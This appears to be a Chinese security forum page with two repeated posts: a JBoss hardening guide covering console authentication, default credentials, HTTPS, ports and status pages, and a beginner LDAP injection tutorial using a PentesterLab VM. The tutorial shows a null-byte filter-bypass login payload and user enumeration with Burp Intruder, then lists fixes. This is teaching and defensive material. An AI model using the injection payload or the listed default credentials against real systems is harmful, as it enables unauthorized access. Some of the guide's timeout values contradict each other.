JBOSS 最佳安全配置实践

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 191 次浏览 • 2018-08-22 18:28 • 来自相关话题

简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
  查看全部
简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
 

LDAP 注入(Injection)入门学习

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 225 次浏览 • 2018-08-22 18:05 • 来自相关话题

今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念




dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:






四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
响应报文:





 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:






GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder






step2:增加变量,具体见截图






step3,增加变量字典






step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:







五 、修复建议
[]客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/] 查看全部
今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:
LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御
一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念

ldap.png
dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数
1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:

QQ截图20180816110003.png


四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
